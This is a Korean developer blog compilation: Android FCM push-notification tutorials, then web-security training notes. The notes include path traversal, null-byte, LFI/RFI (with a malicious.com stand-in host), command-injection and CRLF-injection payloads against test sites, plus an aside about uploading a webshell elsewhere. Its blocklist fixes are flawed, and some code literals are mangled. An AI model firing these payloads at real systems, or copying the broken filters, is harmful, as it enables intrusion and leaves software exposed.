[안드로이드] FCM 화면 깨우기 화면 켜지게 하는 방법

2017/07/10 - [Yame Programmer/Android] - [안드로이드] FCM 푸시메세지 웹서버(JAVA)에서 보내기

2017/07/10 - [Yame Programmer/Android] - [안드로이드] FCM 토큰 저장방법 개별 보내는 방법 SharedPreferences 사용

2017/07/12 - [Yame Programmer/Android] - [안드로이드] FCM 백그라운드에서 진동 오도록 하는 방법




후.. FCM메세지를 노티피케이션이 아니라 data로 날리도록 하니


지금까지 삽질해도 안되던 화면 깨우기가 되었다..


진짜 아무것도 모르는 상태로 근본없이 맨땅에 헤딩하니 좀 지친다



화면 깨우기는 간단하다


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void onMessageReceived(RemoteMessage remoteMessage) {
        //추가한것
       // sendNotification(remoteMessage.getData().get("message"));
 
        // 이거 추가 하면 
        PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE );
        PowerManager.WakeLock wakeLock = pm.newWakeLock( PowerManager.SCREEN_DIM_WAKE_LOCK
                | PowerManager.ACQUIRE_CAUSES_WAKEUP, "TAG" );
        wakeLock.acquire(3000);
 
 
        String title = remoteMessage.getData().get("title");
        String body = remoteMessage.getData().get("body");
        sendNotification(title, body);
    }
cs



이렇게 6,7,8,9,10 번 라인을 추가해주면 된다


그런데 저기에 있는 SCREEN_DIM_WAKE_LOCK는 deprecated 되었다



아 몰랑 그냥 쓸거야!


화면 켜지게 하면 된다구!


지금 안드로이드 버전에서 권장하는 방법은 FLAG_KEEP_SCREEN_ON


이거 쓰라고 하는데


사실 당장 뭐 어떻게 쓰는지도 잘 모르기도 하고


문서들을 찾아보니 뭐 밝게했다가 어둡게도 했다가도 하고 그런 여러가지 기능들이 있는것 같긴 한데


아직 다 써보진 못했다 PARTIAL_WAKE_LOCK 이런거라든가 FLAG_KEEP_SCRREN_ON


이런거 쓰라고 하는데


FLAG_KEEP_SCRREN_ON 얘는 어찌 써야할지 레이아웃에 걸어줘야 하는 애 같아서 못썻고


PARTIAL_WAKE_LOCK 이건 화면이 안켜진다. 그래서 저 위의 코드를 사용하기로 함.


물론 소스는 더 많이 있고 써보기도 했는데 백그라운드에서 안돌아갔던 문제 때문에


되는건지 모르겠고 다시 그 소스들 찾아가면서 해보긴 귀찮다.


그건 다음에 또 이런 어플 만들때 되면 해보도록 하자


아니면 해본 사람들이 댓글을 남겨준다면 더 고마울 것이다.






[안드로이드] FCM 백그라운드에서 진동 오도록 하는 방법






얼마전 포스팅에서 웹서버를 통해  FCM 메세지를 날리는 방법에 대해서 알아보았다


2017/07/10 - [Yame Programmer/Android] - [안드로이드] FCM 토큰 저장방법 개별 보내는 방법 SharedPreferences 사용

2017/07/10 - [Yame Programmer/Android] - [안드로이드] FCM 푸시메세지 웹서버(JAVA)에서 보내기



그런데 문제가 있었다.


어플을 켜놓은 상태에선 진동이 오는데


어플을 끄거나 화면을 끈 상태에선 진동알람도 안오고 화면이 켜지는 것도 안되서


알람이 온줄 모르는 상태가 되버린 것



이것때문에 얼마나 삽질을 했던가..



화면켜지는건 고사하고 아얘 어플 끈 상태에선


상단에 알람바만 조용히 생기고 애초에 onMessageReceived 여기서 지정해 놓은 것들이


아얘 안돌아 가는 것 같았다


삽질을 하다가


결국 스택오버 형님들의 글에서 답을 찾았다


저번 포스팅을 보면  웹서버에서 FCM요청을 할떄



1
2
3
4
5
6
7
8
JSONObject root = new JSONObject();
                JSONObject notification = new JSONObject();
                notification.put("body""공조기 장애 현재상태 : OFF");
                notification.put("title""알림 입니다.");
                notification.put("icon""ic_message");
                root.put("notification", notification);
                root.put("to", token);
                root.put("click_action""OPEN_ACTIVITY");
cs




이런식으로 보냈었는데 6번라인의저 노티피케이션이 문제였다.


노티피케이션으로 날려주면 onMessageReceived가 실행이 안된단다


그래서 저 노티피케이션을 data로 바꾸어 주었다



1
2
3
4
5
6
7
8
                JSONObject root = new JSONObject();
                JSONObject notification = new JSONObject();
                notification.put("body""공조기 장애 현재상태 : OFF");
                notification.put("title""알림 입니다.");
                notification.put("icon""ic_message");
                root.put("data", notification);
                root.put("to", token);
                root.put("click_action""OPEN_ACTIVITY"); // click_action 추가!
cs



이렇게 바꾸고 나니 백그라운드 상태에서도 설정해놓은 vibrate대로 진동도 잘온다!!


화면켜지는것까진 바라지도 않는다 


일단 사용자한테 알람이 왔다고 알리기만 하면 되니까



그렇다면 안드로이드 에서도


받는 부분의 메세지를 다르게 받을 필요가 있었다



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public void onMessageReceived(RemoteMessage remoteMessage) {
        //추가한것
       // sendNotification(remoteMessage.getData().get("message"));
        
        // 이렇게 데이터에 있는걸 키값으로 뽑아 쓰면 된다.
        String title = remoteMessage.getData().get("title");
        String body = remoteMessage.getData().get("body");
        sendNotification(title, body);
    }
 
    private void sendNotification(String title, String body) {
        Intent intent = new Intent(this, MainActivity.class);
        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
 
        PendingIntent pendingIntent = PendingIntent.getActivity(this0 /* Request code */, intent,
                PendingIntent.FLAG_ONE_SHOT);
 
        Uri defaultSoundUri= RingtoneManager.getDefaultUri(RingtoneManager.TYPE_NOTIFICATION);
        NotificationCompat.Builder notificationBuilder = new NotificationCompat.Builder(this)
                .setSmallIcon(R.mipmap.ic_launcher)
                .setContentTitle(title)
                .setContentText(body)
                .setAutoCancel(true)
                .setSound(defaultSoundUri)
                .setVibrate(new long[]{10001000})
                .setLights(Color.BLUE,1,1)
                .setContentIntent(pendingIntent);
        NotificationManager notificationManager =
                (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
        notificationManager.notify(0 /* ID of notification */, notificationBuilder.build());
 
    }
cs



이렇게 코드를 바꿔주면 된다


기존 코드에서 6,7번 라인과 11번읜 매개변수만 바꿔주면 끝!



후.. 이제 다시 화면도 켜지게 하는 방법을 찾아 떠나보도록 하자....

-------------------------------------------------------------------------------

방법 찾았음 ㅋ


2017/07/12 - [Yame Programmer/Android] - [안드로이드] FCM 화면 깨우기 화면 켜지게 하는 방법




 

[안드로이드] FCM 토큰 저장방법 개별 보내는 방법 SharedPreferences 사용 


이전 포스팅은 걍 설치한 사람들한테 죄다 다 보내는 방법이었다.


2017/07/10 - [Yame Programmer/Android] - [안드로이드] FCM 푸시메세지 웹서버에서 보내기




그런데 우린 특정인들에게만 보내고 싶을때가 있다



그런데 망할 네이티브와 웹뷰간의 세션공유도 어렵고 쿠키가져오는것도 뭔말인지도 모르겠고


3일을 삽질하다가 그냥 방법을 바꿔버리기로 했다



웹뷰에 있는 js를 안드로이드 네이티브에서 호출을 할 수 있다는걸 알았기에



안드로이드에서 토큰값을 JS로 날려주고 JS에선 사용자ID값과 토큰을 같이 서버로 날려 저장하는


방식을 사용하기로 한다.



우선 안드로이드에서 JS를 호출 하는 방법인다. 물론 변수도 같이 날려줄 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
 
 
        // 웹뷰 셋팅팅
       mWebView = (WebView)findViewById(webView);
 
        // 자바스크립트 사용을 반드시 true로 해야 한다
        mWebView.getSettings().setJavaScriptEnabled(true);
 
        mWebView.loadUrl(myUrl+"/mobile/login");
        mWebView.setWebChromeClient(new WebChromeClient());
        mWebView.setWebViewClient(new WebViewClientClass());
 
        mWebView.addJavascriptInterface(new AndroidBridge(), "android");
        //추가한 라인
        FirebaseMessaging.getInstance().subscribeToTopic("ALL");
        Log.d("아오","테스트");
 
    }
cs



10번 라인을 꼭 추가해준 후



1
mWebView.loadUrl("javascript:setMessage('"+token+"')");
cs


URL요청하는 부분에다가 저거 한줄 넣으면


해당 페이지의  setMessage 라는 펑션이 작동 한다!!!! 물론 저 안에 토큰이라는 변수값도 함께!!!



당연히 js에는



1
2
3
4
5
6
7
8
9
10
11
12
13
function setMessage(arg) {
    // alert(arg);
    var param = {};
    param.token = arg;
    gPost("/저장하러 날릴 URL"
            ,param
            , function(response){
                if(!response.result){
                    alert("디바이스 정보 저장 오류 어플리케이션을 다시 시작해 주십시오");
                }
            });
     
cs



이런식으로 같은 이름의 펑션을 만들어 주어야 한다.





이렇게 하면 토큰과 사용자 ID를 묶어서 저장할 수가 있다.




여기서 문제는 저 토큰값을 어떻게 가지고 오느냐이다.



토큰값은 어플 설치될때 한번 생성되는데 그걸 어디다 저장할까?


토큰 한줄 저장하자고 로컬DB사용하는건 좀 오버하는거 같다


그래서 찾아낸것이


SharedPreferences  바로 이것!@!!!!!!



우왕... 개짱.. 짱짱맨.. 그냥 데이터 파일로 저장하는거임



다시 안드로이드의 토큰생성하는 곳을 가보자



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 private void sendRegistrationToServer(String token) {
        // Add custom implementation, as needed.
 
        // 만들어진 토큰을 저장한다!!!
        SharedPreferences pref = getSharedPreferences("pref", MODE_PRIVATE);
        SharedPreferences.Editor editor = pref.edit();
        editor.putString("token", token);
        editor.commit();
        // 여기까지!!!
 
        OkHttpClient client = new OkHttpClient();
        RequestBody body = new FormBody.Builder()
                .add("Token", token)
                .build();
 
        //request
        Request request = new Request.Builder()
                .url("이제 이건 노신경")
                .post(body)
                .build();
 
        try {
            client.newCall(request).execute();
        } catch (IOException e) {
            e.printStackTrace();
        }
 
    }
cs



5~8번 라인을 추가해주도록 하자 


그럼 불러올땐


1
2
3
4
   // 저장해놨던 토큰값 가져와서 전달
   SharedPreferences pref = getSharedPreferences("pref", MODE_PRIVATE);
   String token =  pref.getString("token""");
   mWebView.loadUrl("javascript:setMessage('"+token+"')");
cs



이렇게 토큰이라는 이름으로 불러오면 된다!!!


그러면 끝!!!


이제 사용자 아이디와토큰을 묶어서 디비에 저장해놓고


보내고 싶은사람한테 골라서 보내면 된다!!



[안드로이드] FCM 웹(JAVA)서버에서 푸시메세지 보내기


안드로이드의 기존 GCM에서 FCM으로 바뀌었다


구글 클라우드 메세지에서 파이어베이스 클라우드 메세지로 바뀐건진 정확히 모르겠지만..



일단 뜬금없이 웹개발하다가 갑자기 회사에서 안드로이드 개발할 일이 생겼지만


웹뷰로 때워버리자! 라고 외친 후 만들어 놓고 보니 안드로이드 알림 메세지가 가야 한단다...



하....


그래서 뭐 삽질좀 하고 여기저기 뒤적뒤적이면서 구현을 했다




일단 가장 먼저


https://console.firebase.google.com/u/0/


당연히 구글 아이디는 있을것이지 콘솔 파이어베이스로 들어가


알람메세지 구현알 어플을 등록해준다.


이곳의 도움을 많이 받았다. 기초 설정은 여기 보고 따라하자


사실 저 블로그만 봐도


어지간하면 구현 가능하다.



진짜 생각보다 좀 간단하다.



1. Android JAVA 



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import android.content.SharedPreferences;
import android.util.Log;
 
import com.google.firebase.iid.FirebaseInstanceId;
import com.google.firebase.iid.FirebaseInstanceIdService;
 
import java.io.IOException;
 
import okhttp3.FormBody;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
 
 
public class MyFirebaseInstanceIDService extends FirebaseInstanceIdService {
 
    private static final String TAG = "MyFirebaseIIDService";
 
    /**
     * Called if InstanceID token is updated. This may occur if the security of
     * the previous token had been compromised. Note that this is called when the InstanceID token
     * is initially generated so this is where you would retrieve the token.
     */
    // [START refresh_token]
    @Override
    public void onTokenRefresh() {
        // 설치할때 여기서 토큰을 자동으로 만들어 준다
        String refreshedToken = FirebaseInstanceId.getInstance().getToken();
        Log.d(TAG, "Refreshed token: " + refreshedToken);
 
        // 생성한 토큰을 서버로 날려서 저장하기 위해서 만든거
        sendRegistrationToServer(refreshedToken);
    }
    
    private void sendRegistrationToServer(String token) {
        // Add custom implementation, as needed.
 
        // OKHTTP를 이용해 웹서버로 토큰값을 날려준다. 
        OkHttpClient client = new OkHttpClient();
        RequestBody body = new FormBody.Builder()
                .add("Token", token)
                .build();
 
        //request
        Request request = new Request.Builder()
                .url("토큰 저장할라고 보낼 URL")
                .post(body)
                .build();
 
        try {
            client.newCall(request).execute();
        } catch (IOException e) {
            e.printStackTrace();
        }
 
    }
}
cs




여기서 우리가 잘 봐야 할 건


30번 라인과 


37번라인의 sendRegistrationToServer 메소드다


30번라인에서 토큰을 생성하는데 여기선 어플을 설치할때 한번 생성한다.


그럼 만들어지자마자 


37번라인 메소드로 날려서 HTTP로 전송한다.


그럼 웹서버에서 저 토큰을 받고 저장을 하게 되고


그 해당 토큰으로 메세지를 날려주면 되는 것이다.




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.media.RingtoneManager;
import android.net.Uri;
import android.support.v4.app.NotificationCompat;
 
import com.google.firebase.messaging.RemoteMessage;
 
 
public class MyFirebaseMessagingService extends com.google.firebase.messaging.FirebaseMessagingService {
    private static final String TAG = "FirebaseMsgService";
 
    // [START receive_message]
    @Override
    public void onMessageReceived(RemoteMessage remoteMessage) {
 
        //추가한것
        sendNotification(remoteMessage.getData().get("message"));
    }
 
    private void sendNotification(String messageBody) {
        Intent intent = new Intent(this, MainActivity.class);
        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
        PendingIntent pendingIntent = PendingIntent.getActivity(this0 /* Request code */, intent,
                PendingIntent.FLAG_ONE_SHOT);
 
        Uri defaultSoundUri= RingtoneManager.getDefaultUri(RingtoneManager.TYPE_NOTIFICATION);
        NotificationCompat.Builder notificationBuilder = new NotificationCompat.Builder(this)
                .setSmallIcon(R.mipmap.ic_launcher)
                .setContentTitle("FCM Push Test"// 이부분은 어플 켜놓은 상태에서 알림 메세지 받으면 저 텍스트로 띄워준다.
                .setContentText(messageBody)
                .setAutoCancel(true)
                .setSound(defaultSoundUri)
                .setContentIntent(pendingIntent);
 
        NotificationManager notificationManager =
                (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
 
        notificationManager.notify(0 /* ID of notification */, notificationBuilder.build());
    }
 
}
 
cs

MyFirebaseMessagingService.java 얘는 알림메세지를 받았을때 처리하는건데

사실 딱히 건들일거 없이 그대로 사용 하면 된다.








일단 저 블로그에서


MyFirebaseInstanceIDService.java 와

MyFirebaseMessagingService.java



이 두개를 구현했다면 




여기로 들어와서 앱단위로 앱선택하고 보내면


모든 앱 설치자들에게 메세지가 날아간다.



하지만 우린 웹서버에서 푸시메세지를 날려주고 싶을 것이다.


알람이라면 뭐 값이 변한다거나 새로운 정보가 등록 되었을때 날려줘야 하니까


그때마다 저기 접속해서 날려주기엔 너무 귀찮으니까 분명히


웹서버에서 인터벌을 돌리든 트리거를 걸든 해서 웹서버에서 날려주고 싶을 것이다


그런데 웹서버에서 날려주는건


잘 안나와있고 복사 붙여넣기 해도 안되는 경우도 있고 하니까


내가 해서 성공한 코드를 보자










2. JAVA Web Server 



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
@RequestMapping(value="mobile/sendFCM")
    public String index(Model model, HttpServletRequest request, HttpSession session, MobileTokenVO vo)throws Exception{
            
            List<MobileTokenVO> tokenList = fcmService.loadFCMInfoList(vo); 
            
                String token = tokenList.get(count).getDEVICE_ID();
                
                final String apiKey = "파이어 베이스의 서버 API키를 여기에 넣는다";
                URL url = new URL("https://fcm.googleapis.com/fcm/send");
                HttpURLConnection conn = (HttpURLConnection) url.openConnection();
                conn.setDoOutput(true);
                conn.setRequestMethod("POST");
                conn.setRequestProperty("Content-Type""application/json");
                conn.setRequestProperty("Authorization""key=" + apiKey);
 
                conn.setDoOutput(true);
                
                String userId =(String) request.getSession().getAttribute("ssUserId");
 
                // 이렇게 보내면 주제를 ALL로 지정해놓은 모든 사람들한테 알림을 날려준다.
                String input = "{\"notification\" : {\"title\" : \"여기다 제목 넣기 \", \"body\" : \"여기다 내용 넣기\"}, \"to\":\"/topics/ALL\"}";
                
                // 이걸로 보내면 특정 토큰을 가지고있는 어플에만 알림을 날려준다  위에 둘중에 한개 골라서 날려주자
                String input = "{\"notification\" : {\"title\" : \" 여기다 제목넣기 \", \"body\" : \"여기다 내용 넣기\"}, \"to\":\" 여기가 받을 사람 토큰  \"}";
 
                OutputStream os = conn.getOutputStream();
                
                // 서버에서 날려서 한글 깨지는 사람은 아래처럼  UTF-8로 인코딩해서 날려주자
                os.write(input.getBytes("UTF-8"));
                os.flush();
                os.close();
 
                int responseCode = conn.getResponseCode();
                System.out.println("\nSending 'POST' request to URL : " + url);
                System.out.println("Post parameters : " + input);
                System.out.println("Response Code : " + responseCode);
                
                BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream()));
                String inputLine;
                StringBuffer response = new StringBuffer();
 
                while ((inputLine = in.readLine()) != null) {
                    response.append(inputLine);
                }
                in.close();
                // print result
                System.out.println(response.toString());
                
 
        return "jsonView";
    }
cs



위의 코드처럼 쓰면 된다.



8번 라인의 API키는 






저 파이어베이스 콘솔에서 빨간동그라미 누르고 프로젝트 설정의 클라우드 메세징으로 가면


서버키가 나와있다 그 서버키를 넣으면 된다. 




그런데 20번 21번 라인의  주제가 ALL인걸 어떻게 지정 하냐고?


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
 
 
        // 웹뷰 셋팅팅
       mWebView = (WebView)findViewById(webView);
        mWebView.getSettings().setJavaScriptEnabled(true);
 
        mWebView.loadUrl(myUrl+"/mobile/login");
        mWebView.setWebChromeClient(new WebChromeClient());
        mWebView.setWebViewClient(new WebViewClientClass());
 
        mWebView.addJavascriptInterface(new AndroidBridge(), "android");
 
 
        //이렇게 ALL 추가 하면 이 디바이스는 ALL을 구독한다는 얘기가 된다.
        FirebaseMessaging.getInstance().subscribeToTopic("ALL");
 
    }
cs



안드로이드의 MainActivity.java 의 oncreate에다가 저 18번 라인을 추가 해주자


그런데 주제 등록은 즉시 안되고 몇시간 기다리거나 몇일 기다려야 등록 되는 경우도


있다고 하니까 급하게 하진 말자.




그리고 24번 라인에 들어가는 토큰은 MyFirebaseInstanceIDService.java 의 36번 메소드에 날려준 값이다


여기까지가 기초적인 FCM을 이용한 메세지 보내는 방법이다!


다음강좌는


저 토큰아이디를 어떻게 사용자 ID랑 묶어서 저장하고 원하는 사용자에게


보낼 수 있는지 알아보자



2017/07/10 - [Yame Programmer/Android] - [안드로이드] FCM 토큰 저장방법 개별 보내는 방법 SharedPreferences 사용



[웹보안] 웹보안 4일차 - 오후


오후는 졸리다


그리고 공격툴 프록시툴 등등등 쓸떄 상용 사이트에 
쓰지 말고


테스트가 허용된 사이트나 본인 사이트에서만 테스트 하도록 하자 


다른사이트에 알짱거리지 말고 




파로스를 써보자


파로스는


자바 32비트에서만 돌아간다




파로스 다운받아서 실행하자


소스코드로 받아서 이클립스에서 수정하고 실행해도 됨


알아서 찾아서 해보도록 하자.






1. 파로스 패턴 추가



/bbs.jsp?id=1


1)패턴조합


file download ( ../../../../etc/hosts) 이런거

/bbs.jsp?id=../../../../../etc/hosts




2)내부데이터 검색


/bbs.jsp?id=1(crawl)


주민등록 번호


걍 아이디값 겁내 날려놓고 리턴값 수집 하는 건가?


3) 신규패턴 전송

index.jsp

iisample.asp



패턴삽입

TestDefaltFileIIS.java


패턴조합

TestInjectionSqlFinger.....java



빨리 지나간다...



대충 파로스가 공격패턴 만들거나 조합해서


날리는 것 같은데 짱 귀찮음....




2. index of/



구글에서 index of/  이렇게 검색을 해보자


다운받을 수 있는 사이트들이 쭉 나열된다


디렉토리가 노출됨


해커가 디렉토리 구조를 보고 취약점 분석에 유용하게 사용함



robots.txt


인터넷 검색 엔진 배제 표준





디렉토리 노출을 막자.



3. 불필요한 메소드 허용



get post는 쓰는데 나머지 헤드 옵션 풋 트레이스 커넥트 등등은


앵간하면 막아야 한다.


put 같은 경우는 원격지에 파일 삽입으로 해당 서버 조지기 딱 좋음


CMD구동시키는 스크립트 삽입해서 원격에서 서버 cmd실행하고 나쁜짓 다 할 수 있음.


예전에 어떤 사이트에다가 웹쉘코드 올렸다가 아이디 차단 당했음 ㅠ_ㅠ


그냥 저장용으로 올린건데 ㅠ_ㅠ







[웹보안] 웹보안 4일차 - 오전



4일차다..


다음주에 하루만 더 나오면 끝이다아





1.URL 직접 접근


대충 관리자 페이지 URL을 추측해서


/admin/menu.jsp

/admin/setting.jsp


이런식으로 추측해서 바로 접근 한다


보통 저런 URL은 메뉴창에 보이지 않도록 하며


처음 /admin 정도에서만 권한 확인을 하고


그 이후 url에 대해선 권한 체크를 하지 않는 경우가 있어


바로 접근이 가능한 경우가 있다.




2. 중요정보 평문저장


당연한 얘기...


평문으로 전송도 하지 말고 저장도 하지 말자.



3. 하드코드된 암호화키


암호화 키를 코드내에 하드코드 해놓으면 위험하다


외부에서 암호화된 키를 가지고 온 후 복호화 해서 사용 하는 것이


좋아 보인다. 사실 뭔차인지 잘 모르겠다


서버코드 뚫리면 외부 암호화된 텍스트도 털릴텐데





4. 적절하지 않은 난수값 사용


예측 가능한 난수를 사용하지 말고 예측 불가능한 시큐어 랜덤을 사용 한다.


일반 랜덤 함수는 여러번 돌리다보면 패턴이 발견된다.



1
long seq = Math.round(Math.random() * 10240+ 10000;
cs


이건 안됨


1
long seq = Math.round((new SecureRandom().nextDouble() * 10240* 2345);
cs


이렇게 하거나


1
2
3
4
5
private final static Random random = new Random(System.currentTimeMillis());
 
// 이걸  아래처럼 코딩
 
private final static Random random = new SecureRandom();
cs



이렇게 만들자





5. 쉐도우 크랙툴

 https://cafe.naver.com/sec


여기서 유틸모음에서


쉐도우 크랙툴 john 어쩌구 하는거 받아보자


개싱기방기함


사용법은 알아서 찾아 보고 쓰자


http://kcats.tistory.com/128


여기 가면 사용법 잘 나와있는거 같은데 어려움.... 






6. 사용자 하드디스크에 저장되는 쿠키를 통한 정보 노출


쿠키변조나 쿠키 가로채기(XSS)등으로..


망할 웹보안 신경쓸거 더럽게 많네


난 쿠키 잘 쓰지도 않고 중요정보는 더더욱 쿠키 안쓰니까


걍 패스....



1
Cookie newCookie = new Cookie(AUTHCOOKIE, loginID);
cs



쿠키를 이렇게만 만들어 놓고 썻다면


1
2
3
Cookie newCookie = new Cookie(AUTHCOOKIE, loginID);
// 아랫부분 추가 해주도록 하자 그럼 
newCookie.setHttpOnly(true);
cs


이렇게 setHttpOnly(true)를 추가 해주도록 하자


그럼 브라우저에서 쿠키값 못가져 온다.


이렇게 아주 간단한 방법으로 막을 수 있다.





7. 주석문 안에 포함된 시스템 주요 정보


주석문 안에 아이디와 패스워드 넣어 놓고 안지우고 배포하는 경우가 있다


가끔 실수 할 수 있으니 잘 체크 하자


8. 솔트값(소금치기) 없이 일방향 해쉬함수 사용


rainbow attack에 취약 하다


레인보우 테이블로 쭉 돌려서 어택 하면


매칭되는 값 나온다.


일방향 해쉬로 암호화를 하더라도 패스워드 중간에


암호키처럼 중간에 다른 값을 같이 넣어서 암호화를 시키면


암호 텍스트도 늘어나고 레인보우공격으로 알아내더라도


정확한 암호를 알기 더 어려워 진다.





9. 무결성 검사 없는 코드 다운로드


딴짓하느라 못들음







----


java 32비트 다운받아서 설치 하고 패스 설정 따로 해주고


paros를 쓰자


paros는 자바32비트에서만 구동됨














[웹보안] 웹보안 3일차 - 오후



졸리다 졸리다 졸리다아아아





1. 다운로드 취약점


다운로드 취약점 테스트


http://php.testsparker.com



1) 경로(path traversal)


다운로드 요청 url에 상대 경로가 들어가는 경우 ../../ 을 이용하여 다른 파일을 다운받는다


host/../../../../../../



../../../../../../windows/system32/drivers/etc/hosts





http://php.testsparker.com/process.php?file=Generics/index.nsp 

이렇게 생겨먹은걸

http://php.testsparker.com/process.php?file=../../../../../../windows/system32/drivers/etc/hosts





2) 널바이트 인젝션


%00 혹은 0x00을 사용해 특정 확장자를 숨기기 위한 목적으로 사용되거나


뭐 또 나쁜짓 하겠지


졸려서 뭔말인지도 잘 못알아 듣겠슴....



예)


http://php.testsparker.com/process.php?file=../../../../../../../windows/system32/drivers/etc/hosts%00.nsp



이렇게 하면 시스템 정보를 가져 올 수 있다



위에 보면 호스트 정보가 표출 된다.


../를 이용해 상대경로로 해당 시스템정보가 있는 경로를 찾아가고


%00.nsp 를 이용해 해당 정보를 받아온다


%00.nsp를 넣는 이유는


burp로 해당 사이트를 따보니 파일 다운로드 확장자는 nsp라는걸 확인 했고


%00 이 널바이트를 이용해 hosts까지만 읽고 뒤쪽은 잘라내 버리도록 한다


.nsp는 잘리기 전에 해당 확장자면 파일 다운로드가 이루어 질 것 이라는걸 예측후 넣은 것


뭔말인지 모르겠지만 나도 모르겠다 개어렵네 




해결 방법


1
2
data = data.replaceAll("\"""");
data = data.replaceAll(".""");
cs


이런식으로 받아온 파일명의 텍스트를 필터 하는 방법으로 해결 한다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 
public class XpathFilter {
 static String Xpath(String data) {
    // TODO Auto-generated method stub
     data = data.replaceAll("\"""");
     data = data.replaceAll("'""");
     data = data.replaceAll("(""");
     return data;
}
 
 static String crlf(String data) {
        // TODO Auto-generated method stub
         data = data.replaceAll("\r""");
         data = data.replaceAll("\n""");
         return data;
    }
 
 static String download(String data) {
        // TODO Auto-generated method stub
         data = data.replaceAll("./""");
         data = data.replaceAll("../""");
         data = data.replaceAll("..\\""");
         data = data.replaceAll("\\\\""");
         return data;
    }
 
}
cs



 이런식으로 필터 클래스 만들어서 계속 가져다 쓰면 편함






LFI(local file inclusion)


file?param=../../../etc/[asswd



RFI(Remote file inclusion)


file?param=http://www.malicious.com/a.txt





2. 파라미터 변조


명령어를... 그.. 뭐지... 그...


그냥.. 파라미터에 명령어 넣지 말고 인자값으로 이프문 써서 실행 되도록 수정 하면 안전하겠지..


1
2
3
4
5
6
7
8
9
10
11
12
String results;
String fileData = null;
helpFile = helpFile.replaceAll("\\.help""\\.html");
 
if (osName.indexOf("Windows"!= -1)
{
        // Add quotes around the filename to avoid having special characters in DOS
        // filenames
        results = exec(s, "cmd.exe /c dir /b \"" + safeDir.getPath() + "\"");
        fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\"");
 
}
cs



이런코드 같은데 저런거 그냥 앵간하면 쓰지 말자.

어지간한 프로젝트에선 쓸일도 없을거임.



" & netstat -rn


-> url 


%22+%26+netstat+-rn







webgoat에서 명령어 날리는 프록시 가로채서 


%22+%26+netstat+-rn


이거 넣어 주면 해당서버에서 저 명령어가 " & netstat -rn 이걸로 바뀐다음 실행된다.



해결방법


1
2
3
4
5
6
7
8
static String commandIn(String data) {
        // TODO Auto-generated method stub
         data = data.replaceAll("&""");
         data = data.replaceAll("%26""");
         data = data.replaceAll("%22""");
         data = data.replaceAll("\"""");
         return data;
    }
cs



이런 필터 만들어서 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
                String results;
                String fileData = null;
                helpFile = helpFile.replaceAll("\\.help""\\.html");
                
                // 필터링 발동!
                helpFile = XpathFilter.commandIn(helpFile);
                        
                if (osName.indexOf("Windows"!= -1)
                {
                    // Add quotes around the filename to avoid having special characters in DOS
                    // filenames
                    results = exec(s, "cmd.exe /c dir /b \"" + safeDir.getPath() + "\"");
                    fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\"");
 
                }
cs


7번 라인 처럼 이렇게 필터링 해주자





-이전 포스팅 -


2017/06/03 - [Yame Programmer/웹보안] - [웹보안] 웹보안 3일차 - 오전

2017/05/27 - [Yame Programmer/웹보안] - [웹보안] 웹보안 2일차 - 오후

2017/05/27 - [Yame Programmer/웹보안] - [웹보안] 웹보안 2일차 - 오전

2017/05/20 - [Yame Programmer/웹보안] - [웹보안] 웹보안 1일차 - 오후

2017/05/20 - [Yame Programmer/웹보안] - [웹보안] 웹보안 1일차 - 오전




[웹보안] 웹보안 3일차 - 오전





1. HTTP 응답분할 (CRLF Injection)


http://testphp.vulnweb.com/redir.php?r=http://www.google.com



이렇게 주소 입력 하면 구글로 이동함


우왕 싱기방기




GET http://testphp.vulnweb.com/redir.php?r=aaa%0d%0a%20new_header HTTP/1.1

Accept: text/html, application/xhtml+xml, */*

Accept-Language: ko-KR

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: testphp.vulnweb.com

DNT: 1

Proxy-Connection: Keep-Alive



http://testphp.vulnweb.com/redir.php?r=aaa%0d%0a%20new_header
이렇게 날리면

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.4.1
Date: Sat, 03 Jun 2017 01:43:21 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Location: aaa new_header:


이렇게 응답받아옴

리다이렉트가 성공하면 된거임

저걸 막아야함


웹고트를 파인드 버그로 돌려보면



이런식으로 잡히는게 있다.


이걸 수정 하려면


아래와 같이 수정한다.


1) 해결 방법



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void setHttpOnly(WebSession s)
    {
        String value = createCustomCookieValue();
